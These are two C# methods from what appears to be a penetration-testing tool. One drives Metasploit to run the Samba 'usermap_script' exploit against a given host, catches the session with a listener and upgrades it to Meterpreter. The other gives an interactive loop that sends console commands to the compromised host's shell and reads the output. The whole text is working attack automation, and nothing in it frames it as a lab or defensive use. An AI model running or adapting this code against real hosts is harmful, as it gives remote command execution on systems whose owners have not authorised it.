public async Task ExploitHost(string host) { await _metasploit.Login(); if (!_metasploit.IsAuthenticated()) { return; } const string exploit = "multi/samba/usermap_script"; _logger.LogTrace("Starting listener..."); var result = await _metasploit.MultiHandler(); await _metasploit.Exploit(exploit, host); _logger.LogTrace("Obtaining session..."); var sessionId = await _metasploit.ObtainSession(exploit, result.JobId); _logger.LogTrace("Upgrading session to Meterpreter..."); var meterpreterId = await _metasploit.ObtainMeterpreter(sessionId); await _metasploit.Meterpreter(meterpreterId); _logger.LogTrace("Closing session..."); await _metasploit.StopSession(sessionId); }
public static async Task Shell( this IMetasploitProvider metasploit, string sessionId) { while (true) { Console.Write("$ "); var cmd = Console.ReadLine(); if (cmd == "exit") { await metasploit.StopSession(sessionId); break; } await metasploit.WriteToSessionShell(sessionId, $"{cmd}{Environment.NewLine}"); Delay.Tiny(); await metasploit.ReadSessionShell(sessionId); } }